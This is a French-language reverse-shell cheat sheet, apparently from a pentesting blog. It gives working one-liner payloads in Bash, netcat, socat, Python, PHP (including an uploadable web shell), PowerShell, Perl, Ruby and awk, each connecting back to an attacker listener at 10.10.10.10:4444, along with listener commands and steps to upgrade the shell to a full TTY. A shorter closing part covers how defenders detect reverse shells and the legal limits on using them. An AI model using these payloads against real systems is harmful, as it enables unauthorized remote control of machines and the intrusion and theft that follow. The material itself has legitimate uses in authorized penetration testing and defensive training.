Cheat Sheet Reverse Shell 2026 : One-Liners pour Tout Shell

Qu'est-ce qu'un reverse shell ?

Un reverse shell est une session shell où la machine cible initie la connexion vers l'attaquant, au lieu que l'attaquant se connecte à la cible. L'attaquant lance un listener, la victime exécute un petit payload qui rappelle à la maison, et les deux extrémités se rejoignent en un shell de commande interactif.

La direction, c'est toute l'astuce. La plupart des réseaux filtrent fortement le trafic entrant mais inspectent à peine le trafic sortant, parce que le sortant n'est que des utilisateurs qui naviguent sur le web. Un reverse shell exploite cette asymétrie : la victime établit ce qui ressemble à une connexion TCP sortante normale, et vous obtenez un shell de l'autre côté d'un pare-feu qui ne vous aurait jamais laissé entrer.

C'est aussi pour cela que les reverse shells sont décrits comme une « connexion inversée » dans la littérature plus ancienne. La référence classique sur le concept est la technique de connexion inversée, antérieure au pentesting moderne et conçue à l'origine pour que des outils d'administration à distance rappellent chez eux à travers le NAT.

Reverse shell vs bind shell

Un bind shell fait l'inverse : la victime ouvre un port en écoute et attend que vous vous connectiez. Les bind shells sont plus simples, mais ils échouent dès qu'un pare-feu se trouve entre vous et la cible, ce qui sur tout réseau réel est toujours le cas. La règle pratique : ne sortez un bind shell que lorsque le sortant est totalement bloqué mais que vous pouvez quand même atteindre un port entrant, ce qui est rare. Par défaut, choisissez un reverse shell à chaque fois.

• Reverse shell - la victime se connecte vers l'attaquant. Contourne les règles de pare-feu entrant et le NAT. Le choix par défaut.
• Bind shell - la victime écoute, l'attaquant se connecte. Plus simple, mais inutile face aux réseaux qui autorisent le sortant et filtrent l'entrant.

Comment fonctionne un reverse shell

Deux moitiés doivent s'aligner. Sur votre machine vous lancez un listener qui attend une connexion entrante. Sur la cible vous exécutez un payload qui se connecte à votre listener et relie l'entrée et la sortie de la connexion à un interpréteur de commandes.

Démarrez le listener en premier, toujours. Si le payload se déclenche avant que quoi que ce soit n'écoute, la connexion est refusée et vous vous demandez pourquoi un one-liner correct a échoué. Le listener netcat standard est :

nc -lvnp 4444

Les options se lisent ainsi : -l écouter, -v verbeux pour voir la connexion arriver, -n pas de résolution DNS, -p 4444 le port. Quand le payload de la victime s'exécute, netcat affiche une ligne de connexion et vous êtes déposé dans le shell de la cible. En pratique, la toute première chose à taper est id, pour confirmer en quel utilisateur vous avez atterri avant de faire quoi que ce soit d'autre.

Le cheat sheet reverse shell : one-liners pour chaque shell

C'est le cœur de la page. Chaque bloc suppose que votre listener est déjà actif sur 10.10.10.10:4444. Choisissez celui qui correspond à ce qui est installé sur la cible. Sur une machine dépouillée vous avez rarement le choix, donc cela paie d'en reconnaître plusieurs.

Lancez d'abord votre listener

# Plain listener
nc -lvnp 4444

# Better: wrap netcat in rlwrap so arrow keys and history work
rlwrap nc -lvnp 4444

Conseil tranché : installez rlwrap et ne lancez plus jamais un listener nc nu. Un reverse shell reçu sous rlwrap vous donne l'historique des commandes et l'édition de ligne immédiatement, avant même de prendre la peine d'améliorer le TTY.

Bash

Le payload Linux le plus courant. Il utilise le pseudo-périphérique intégré /dev/tcp de Bash, il n'a donc besoin d'aucun outil supplémentaire :

# Bash /dev/tcp (the everyday one)
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

# Wrapped, for pasting into a command-injection field
bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'

Un piège à connaître : /dev/tcp est une fonctionnalité de Bash, pas de Linux. Si le /bin/sh de la cible est dash (défaut sur Debian et Ubuntu), la même ligne échoue silencieusement. Dans le doute, appelez bash explicitement plutôt que de compter sur sh.

Netcat

Si la machine a netcat, vous avez deux chemins. Le propre a besoin de l'option -e, que la plupart des builds modernes ont retirée :

# Only works on netcat builds that still ship -e (rare now)
nc 10.10.10.10 4444 -e /bin/bash

Avis tranché : ne comptez pas sur -e. Le netcat OpenBSD livré sur Kali et la plupart des distributions l'a abandonné il y a des années, précisément pour cette raison. La réponse portable est l'astuce du tube nommé, qui fonctionne sur quasiment n'importe quel netcat :

# mkfifo / named pipe - works without -e
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4444 >/tmp/f

socat

Si les deux extrémités ont socat, sautez complètement le shell rudimentaire. socat peut vous fournir un TTY pleinement interactif dès le départ, ce qui est la plus grosse amélioration de confort de toute cette liste :

# Listener (your box) - note the backticks around tty
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Victim - delivers a full PTY, no upgrade dance needed
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.10:4444

Python

Python est présent sur presque toutes les machines Linux et le payload est fiable. La version ci-dessous lance directement un PTY, vous obtenez donc un shell à peu près correct sans les étapes d'amélioration :

# Python 3
python3 -c 'import socket,subprocess,os,pty;s=socket.socket();s.connect(("10.10.10.10",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

Si seul Python 2 existe sur une vieille machine, remplacez python3 par python ; le reste est identique.

PHP

Le payload à déposer après une victoire par upload de fichier ou LFI sur un serveur web. En one-liner avec le CLI PHP :

# PHP CLI one-liner
php -r '$sock=fsockopen("10.10.10.10",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

En tant que fichier web shell uploadable :

<?php exec("/bin/sh -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"); ?>

Besoin d'un payload PHP ou Java plus lourd, généré pour vous ? Le cheat sheet msfvenom produit des web shells Meterpreter en une seule commande quand un one-liner brut ne suffit pas.

PowerShell (Windows)

Windows a rarement netcat, mais il a toujours PowerShell. Voici le one-liner standard ; il est long parce que PowerShell n'a pas de primitive intégrée de redirection de shell :

powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('10.10.10.10',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"

Perl, Ruby et awk

Les solutions de repli quand rien d'autre n'est présent. awk en particulier est sur toutes les machines Unix jamais livrées :

# Perl
perl -e 'use Socket;$i="10.10.10.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# Ruby
ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.10.10.10","4444");loop{c.print"\$ ";cmd=c.gets;break if cmd=~/exit/;(IO.popen(cmd,"r"){|io|c.print io.read})rescue nil}'

# awk
awk 'BEGIN {s = "/inet/tcp/0/10.10.10.10/4444"; while(42) { do{ printf "shell> " |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}'

Recevoir et stabiliser la connexion

Recevoir le shell est la moitié facile ; le shell rudimentaire que vous obtenez est la moitié pénible. Une réception netcat brute n'a pas de contrôle des jobs, pas de complétion par tabulation, pas d'historique, et elle meurt dès que vous appuyez sur Ctrl-C. Deux choix de listener vous facilitent la vie avant même l'amélioration :

• rlwrap nc -lvnp 4444 - vous donne readline (touches fléchées, historique) sur le shell reçu, immédiatement.
• socat file:`tty`,raw,echo=0 tcp-listen:4444 - s'associe au payload victime socat pour un TTY complet sans aucune étape supplémentaire.

En pratique, si vous contrôlez les deux extrémités et que socat est disponible, la combinaison socat-vers-socat est de loin la réception la moins pénible. Quand vous êtes coincé avec netcat, passez à l'amélioration du TTY ci-dessous.

Passer à un TTY pleinement interactif

C'est l'étape que la plupart des débutants sautent puis subissent. Un shell netcat sans TTY ne peut pas exécuter sudo, ssh, su, ni rien qui veut un terminal, et un Ctrl-C malencontreux tue toute votre session. La solution est une courte séquence à mémoriser :

# 1. In the reverse shell, spawn a PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'

# 2. Background the shell: press Ctrl-Z

# 3. On YOUR local box, hand the terminal raw to the shell
stty raw -echo; fg

# 4. Back in the shell (it looks blank - press Enter), set the terminal
export TERM=xterm
stty rows 38 columns 116

Après cela vous avez un terminal quasi natif : complétion par tabulation, contrôle des jobs, prompts sudo fonctionnels, et un Ctrl-C qui interrompt la commande distante au lieu de tuer votre session. Les valeurs stty rows/columns doivent correspondre à votre terminal local ; lancez stty -a dans une fenêtre normale pour lire les vôtres.

Une fois que vous avez un shell stable, le vrai travail commence : trouver comment passer de cet utilisateur à root. C'est là qu'un script d'énumération prend tout son sens. Notre guide sur comment utiliser LinPEAS reprend exactement là où ce cheat sheet s'arrête, en scannant la machine à la recherche de chemins d'élévation de privilèges dès que votre shell est stable.

Comment les défenseurs détectent et bloquent les reverse shells

Comprendre la détection, c'est la moitié du travail, et c'est une lecture obligatoire si vous vous asseyez un jour du côté blue team. Les reverse shells sont bruyants si quelqu'un surveille les bons signaux. Les défenseurs les attrapent grâce à quelques indices fiables :

• Filtrage de sortie (egress) - les réseaux qui n'autorisent le sortant que sur 80/443 cassent les payloads naïfs pointés vers le port 4444. La base défensive est de refuser le sortant par défaut et d'autoriser par exception.
• Filiation de processus - un processus de serveur web (www-data) qui lance bash, nc ou python avec une socket réseau est une signature EDR classique. Les enfants d'un démon web ne devraient pas ouvrir de connexions TCP.
• Anomalies de connexion sortante - un serveur qui n'initie normalement jamais de connexion mais qui se met soudain à appeler une IP externe est un indicateur fort dans les logs netflow ou DNS.

La technique correspond, dans MITRE ATT&CK, à Command and Scripting Interpreter (T1059), qui catalogue l'exécution par interpréteur sur laquelle repose chaque payload de ce cheat sheet. Si vous construisez des détections, cette page est la référence de ce qu'il faut alerter.

Considérations légales et éthiques

• N'utilisez ces payloads que sur des systèmes que vous possédez, dans des labs dédiés, ou dans le périmètre défini d'un engagement autorisé.
• Gardez vos callbacks dans la plage d'IP du périmètre. Un reverse shell qui se connecte hors périmètre reste hors périmètre.
• Journalisez ce que vous lancez pendant un engagement client. L'accès shell et les commandes exécutées doivent figurer dans le rapport.
• Entraînez-vous sur des cibles volontairement vulnérables, pas sur des hôtes Internet au hasard. Les labs ci-dessous existent pour exactement cela.